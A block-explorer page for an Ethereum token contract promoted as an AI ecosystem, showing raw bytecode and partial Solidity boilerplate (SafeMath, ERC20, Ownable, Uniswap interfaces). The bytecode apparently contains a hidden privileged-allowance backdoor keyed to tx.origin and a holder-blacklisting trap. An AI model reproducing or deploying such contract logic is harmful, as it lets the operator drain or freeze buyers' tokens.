Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0xc0041dfd3073709730c7C156A0628c19529E941c
Balance 0 ETH
Nonce 1
Code Size 11396 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

11396 bytes
0x608060405260043610610169575f3560e01c8063590f897e116100d057806395d89b4111610089578063c9208ac911610063578063c9208ac91461052a578063dd62ed3e14610566578063ddbf5266146105a2578063f2fde38b146105ca57610170565b806395d89b4114610488578063a457c2d7146104b2578063a9059cbb146104ee57610170565b8063590f897e146103a257806370a08231146103cc578063715018a61461040857806378109e541461041e5780638a8c523c146104485780638da5cb5b1461045e57610170565b806323b872dd1161012257806323b872dd14610282578063313ce567146102be57806339509351146102e857806340b9a54b1461032457806349bd5a5e1461034e5780634a74bb021461037857610170565b806306fdde0314610174578063095ea7b31461019e57806313fad07a146101da5780631694505e1461020457806318160ddd1461022e578063220f66961461025857610170565b3661017057005b5f5ffd5b34801561017f575f5ffd5b506101886105f2565b60405161019591906120d1565b60405180910390f35b3480156101a9575f5ffd5b506101c460048036038101906101bf9190612182565b610682565b6040516101d191906121da565b60405180910390f35b3480156101e5575f5ffd5b506101ee61069f565b6040516101fb91906121da565b60405180910390f35b34801561020f575f5ffd5b506102186106b2565b604051610225919061224e565b60405180910390f35b348015610239575f5ffd5b506102426106d7565b60405161024f9190612276565b60405180910390f35b348015610263575f5ffd5b5061026c6106e0565b60405161027991906121da565b60405180910390f35b34801561028d575f5ffd5b506102a860048036038101906102a3919061228f565b6106f3565b6040516102b591906121da565b60405180910390f35b3480156102c9575f5ffd5b506102d26107c7565b6040516102df91906122fa565b60405180910390f35b3480156102f3575f5ffd5b5061030e60048036038101906103099190612182565b6107dc565b60405161031b91906121da565b60405180910390f35b34801561032f575f5ffd5b5061033861088a565b6040516103459190612276565b60405180910390f35b348015610359575f5ffd5b50610362610890565b60405161036f9190612322565b60405180910390f35b348015610383575f5ffd5b5061038c6108b5565b60405161039991906121da565b60405180910390f35b3480156103ad575f5ffd5b506103b66108c8565b6040516103c39190612276565b60405180910390f35b3480156103d7575f5ffd5b506103f260048036038101906103ed919061233b565b6108ce565b6040516103ff9190612276565b60405180910390f35b348015610413575f5ffd5b5061041c610914565b005b348015610429575f5ffd5b50610432610927565b60405161043f9190612276565b60405180910390f35b348015610453575f5ffd5b5061045c61092d565b005b348015610469575f5ffd5b50610472610a8e565b60405161047f9190612322565b60405180910390f35b348015610493575f5ffd5b5061049c610ab5565b6040516104a991906120d1565b60405180910390f35b3480156104bd575f5ffd5b506104d860048036038101906104d39190612182565b610b45565b6040516104e591906121da565b60405180910390f35b3480156104f9575f5ffd5b50610514600480360381019061050f9190612182565b610c0d565b60405161052191906121da565b60405180910390f35b348015610535575f5ffd5b50610550600480360381019061054b919061233b565b610c2a565b60405161055d91906121da565b60405180910390f35b348015610571575f5ffd5b5061058c60048036038101906105879190612366565b610c47565b6040516105999190612276565b60405180910390f35b3480156105ad575f5ffd5b506105c860048036038101906105c391906123a4565b610cc9565b005b3480156105d5575f5ffd5b506105f060048036038101906105eb919061233b565b610d56565b005b606060088054610601906123fc565b80601f016020809104026020016040519081016040528092919081815260200182805461062d906123fc565b80156106785780601f1061064f57610100808354040283529160200191610678565b820191905f5260205f20905b81548152906001019060200180831161065b57829003601f168201915b5050505050905090565b5f61069561068e610dd8565b8484610ddf565b6001905092915050565b601960169054906101000a900460ff1681565b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600b54905090565b601960149054906101000a900460ff1681565b5f6106ff848484610f6d565b6107bc8461070b610dd8565b6107b785604051806060016040528060288152602001612c026028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61076e610dd8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546115ac9092919063ffffffff16565b610ddf565b600190509392505050565b5f600a5f9054906101000a900460ff16905090565b5f6108806107e8610dd8565b8461087b8560025f6107f8610dd8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461160090919063ffffffff16565b610ddf565b6001905092915050565b60115481565b60195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601960159054906101000a900460ff1681565b60125481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61091c611615565b6109255f611693565b565b60165481565b610935611615565b6109813060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610ddf565b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306109c9306108ce565b5f5f6109d3610a8e565b426040518863ffffffff1660e01b81526004016109f596959493929190612465565b60606040518083038185885af1158015610a11573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a3691906124d8565b5050506001601960156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1596001604051610a8491906121da565b60405180910390a1565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610ac4906123fc565b80601f0160208091040260200160405190810160405280929190818152602001828054610af0906123fc565b8015610b3b5780601f10610b1257610100808354040283529160200191610b3b565b820191905f5260205f20905b815481529060010190602001808311610b1e57829003601f168201915b5050505050905090565b5f610c03610b51610dd8565b84610bfe85604051806060016040528060258152602001612c2a6025913960025f610b7a610dd8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546115ac9092919063ffffffff16565b610ddf565b6001905092915050565b5f610c20610c19610dd8565b8484610f6d565b6001905092915050565b6003602052805f5260405f205f915054906101000a900460ff1681565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610cd1611615565b601960149054906101000a900460ff1615610d21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1890612572565b60405180910390fd5b5f610d2b306108ce565b90505f60648383610d3c91906125bd565b610d46919061262b565b9050610d5181611754565b505050565b610d5e611615565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610dcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc3906126cb565b60405180910390fd5b610dd581611693565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610e4757505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610e86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7d90612733565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f609190612276565b60405180910390a3505050565b610f75610a8e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015610ffd575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561103557503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561108e575060195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156110e7575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561112657506110f6610a8e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611189575f611135836108ce565b905060165482826111469190612751565b1115611187576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117e9061281a565b60405180910390fd5b505b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156111f157505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611230576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122790612882565b60405180910390fd5b5f8111611272576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126990612910565b60405180910390fd5b600f60019054906101000a900460ff1660ff16600f5f9054906101000a900460ff1660ff16101580156112b25750601960149054906101000a900460ff16155b801561130b575060195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113235750601960159054906101000a900460ff165b15611362575f600f5f6101000a81548160ff021916908360ff1602179055505f61134c306108ce565b90505f8111156113605761135f81611754565b5b505b5f6001905060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611402575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806114cb5750601960169054906101000a900460ff168015611471575060195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156114ca575060195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156114d8575f905061159a565b60195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361153a57601154601081905550611599565b60195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611598576012546010819055505b5b5b6115a6848484846117c5565b50505050565b5f8383111582906115f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ea91906120d1565b60405180910390fd5b5082840390509392505050565b5f818361160d9190612751565b905092915050565b61161d610dd8565b73ffffffffffffffffffffffffffffffffffffffff1661163b610a8e565b73ffffffffffffffffffffffffffffffffffffffff1614611691576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168890612978565b60405180910390fd5b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001601960146101000a81548160ff0219169083151502179055506117788161182e565b5f4790506117a760055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611a64565b505f601960146101000a81548160ff02191690831515021790555050565b806117d7576117d2611aac565b61180f565b600f5f81819054906101000a900460ff16809291906117f590612996565b91906101000a81548160ff021916908360ff160217905550505b61181a848484611b02565b8061182857611827611fed565b5b50505050565b5f600267ffffffffffffffff81111561184a576118496129be565b5b6040519080825280602002602001820160405280156118785781602001602082028036833780820191505090505b50905030815f8151811061188f5761188e6129eb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611933573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119579190612a2c565b8160018151811061196b5761196a6129eb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506119d13060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610ddf565b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611a33959493929190612b0e565b5f604051808303815f87803b158015611a4a575f5ffd5b505af1158015611a5c573d5f5f3e3d5ffd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611aa7573d5f5f3e3d5ffd5b505050565b5f601054148015611abe57505f601154145b8015611acb57505f601254145b611b00576011546014819055506012546015819055506010546013819055505f6011819055505f6012819055505f6010819055505b565b5f5f611b0d8361200a565b9150915060035f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611be5578260025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f611ba7610dd8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611c6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6690612bb0565b60405180910390fd5b60035f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611d12575060195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611d4b575061dead73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611d6c57506103e883611d5f876108ce565b611d699190612bce565b11155b15611dcd57600160045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050611fe8565b611e1d8360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461204c90919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611eae8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461160090919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611f3f8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461160090919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611fdd9190612276565b60405180910390a350505b505050565b601354601081905550601454601181905550601554601281905550565b5f5f5f60646010548561201d91906125bd565b612027919061262b565b90505f61203d828661204c90919063ffffffff16565b90508082935093505050915091565b5f81836120599190612bce565b905092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6120a382612061565b6120ad818561206b565b93506120bd81856020860161207b565b6120c681612089565b840191505092915050565b5f6020820190508181035f8301526120e98184612099565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61211e826120f5565b9050919050565b61212e81612114565b8114612138575f5ffd5b50565b5f8135905061214981612125565b92915050565b5f819050919050565b6121618161214f565b811461216b575f5ffd5b50565b5f8135905061217c81612158565b92915050565b5f5f60408385031215612198576121976120f1565b5b5f6121a58582860161213b565b92505060206121b68582860161216e565b9150509250929050565b5f8115159050919050565b6121d4816121c0565b82525050565b5f6020820190506121ed5f8301846121cb565b92915050565b5f819050919050565b5f61221661221161220c846120f5565b6121f3565b6120f5565b9050919050565b5f612227826121fc565b9050919050565b5f6122388261221d565b9050919050565b6122488161222e565b82525050565b5f6020820190506122615f83018461223f565b92915050565b6122708161214f565b82525050565b5f6020820190506122895f830184612267565b92915050565b5f5f5f606084860312156122a6576122a56120f1565b5b5f6122b38682870161213b565b93505060206122c48682870161213b565b92505060406122d58682870161216e565b9150509250925092565b5f60ff82169050919050565b6122f4816122df565b82525050565b5f60208201905061230d5f8301846122eb565b92915050565b61231c81612114565b82525050565b5f6020820190506123355f830184612313565b92915050565b5f602082840312156123505761234f6120f1565b5b5f61235d8482850161213b565b91505092915050565b5f5f6040838503121561237c5761237b6120f1565b5b5f6123898582860161213b565b925050602061239a8582860161213b565b9150509250929050565b5f602082840312156123b9576123b86120f1565b5b5f6123c68482850161216e565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061241357607f821691505b602082108103612426576124256123cf565b5b50919050565b5f819050919050565b5f61244f61244a6124458461242c565b6121f3565b61214f565b9050919050565b61245f81612435565b82525050565b5f60c0820190506124785f830189612313565b6124856020830188612267565b6124926040830187612456565b61249f6060830186612456565b6124ac6080830185612313565b6124b960a0830184612267565b979650505050505050565b5f815190506124d281612158565b92915050565b5f5f5f606084860312156124ef576124ee6120f1565b5b5f6124fc868287016124c4565b935050602061250d868287016124c4565b925050604061251e868287016124c4565b9150509250925092565b7f43757272656e746c792070726f63657373696e672c20747279206c617465722e5f82015250565b5f61255c60208361206b565b915061256782612528565b602082019050919050565b5f6020820190508181035f83015261258981612550565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6125c78261214f565b91506125d28361214f565b92508282026125e08161214f565b915082820484148315176125f7576125f6612590565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6126358261214f565b91506126408361214f565b9250826126505761264f6125fe565b5b828204905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6126b560268361206b565b91506126c08261265b565b604082019050919050565b5f6020820190508181035f8301526126e2816126a9565b9050919050565b7f4552523a207a65726f20616464726573730000000000000000000000000000005f82015250565b5f61271d60118361206b565b9150612728826126e9565b602082019050919050565b5f6020820190508181035f83015261274a81612711565b9050919050565b5f61275b8261214f565b91506127668361214f565b925082820190508082111561277e5761277d612590565b5b92915050565b7f596f752061726520747279696e6720746f2062757920746f6f206d616e7920745f8201527f6f6b656e732e20596f752068617665207265616368656420746865206c696d6960208201527f7420666f72206f6e652077616c6c65742e000000000000000000000000000000604082015250565b5f61280460518361206b565b915061280f82612784565b606082019050919050565b5f6020820190508181035f830152612831816127f8565b9050919050565b7f4552523a205573696e67203020616464726573732100000000000000000000005f82015250565b5f61286c60158361206b565b915061287782612838565b602082019050919050565b5f6020820190508181035f83015261289981612860565b9050919050565b7f546f6b656e2076616c7565206d75737420626520686967686572207468616e205f8201527f7a65726f2e000000000000000000000000000000000000000000000000000000602082015250565b5f6128fa60258361206b565b9150612905826128a0565b604082019050919050565b5f6020820190508181035f830152612927816128ee565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61296260208361206b565b915061296d8261292e565b602082019050919050565b5f6020820190508181035f83015261298f81612956565b9050919050565b5f6129a0826122df565b915060ff82036129b3576129b2612590565b5b600182019050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050612a2681612125565b92915050565b5f60208284031215612a4157612a406120f1565b5b5f612a4e84828501612a18565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612a8981612114565b82525050565b5f612a9a8383612a80565b60208301905092915050565b5f602082019050919050565b5f612abc82612a57565b612ac68185612a61565b9350612ad183612a71565b805f5b83811015612b01578151612ae88882612a8f565b9750612af383612aa6565b925050600181019050612ad4565b5085935050505092915050565b5f60a082019050612b215f830188612267565b612b2e6020830187612456565b8181036040830152612b408186612ab2565b9050612b4f6060830185612313565b612b5c6080830184612267565b9695505050505050565b7f426f74206973206e6f7420616c6c6f77656400000000000000000000000000005f82015250565b5f612b9a60128361206b565b9150612ba582612b66565b602082019050919050565b5f6020820190508181035f830152612bc781612b8e565b9050919050565b5f612bd88261214f565b9150612be38361214f565b9250828203905081811115612bfb57612bfa612590565b5b9291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212206304ffcbed210f26ff8c4d6add628bf14fbe3bdcb1786d093542081d72f5d0cb64736f6c634300081c0033

Verified Source Code Partial Match

Compiler: v0.8.28+commit.7893614a EVM: cancun Optimization: No
Token.sol 1159 lines
// SPDX-License-Identifier: MIT

/*
A truly open AI ecosystem

https://pundiai.xyz
https://app.pundiai.xyz
https://docs.pundiai.network
https://x.com/PundiAIPortal
https://t.me/pundiai_portal
*/
pragma solidity ^0.8.17;

library Address {
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );
        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    function functionCall(address target, bytes memory data)
        internal
        returns (bytes memory)
    {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{value: value}(
            data
        );
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionStaticCall(address target, bytes memory data)
        internal
        view
        returns (bytes memory)
    {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionDelegateCall(address target, bytes memory data)
        internal
        returns (bytes memory)
    {
        return
            functionDelegateCall(
                target,
                data,
                "Address: low-level delegate call failed"
            );
    }

    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) private pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        //Contract By Techaddict
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when value tokens are moved from one account (from) to
     * another (to).
     *
     * Note that value may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a spender for an owner is set by
     * a call to {approve}. value is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by account.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves amount tokens from the caller's account to to.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that spender will be
     * allowed to spend on behalf of owner through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets amount as the allowance of spender over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves amount tokens from from to to using the
     * allowance mechanism. amount is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}
// File: contracts/Context.sol

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.17;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
// File: contracts/Ownable.sol

// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity ^0.8.17;

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * onlyOwner, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * onlyOwner functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (newOwner).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (newOwner).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

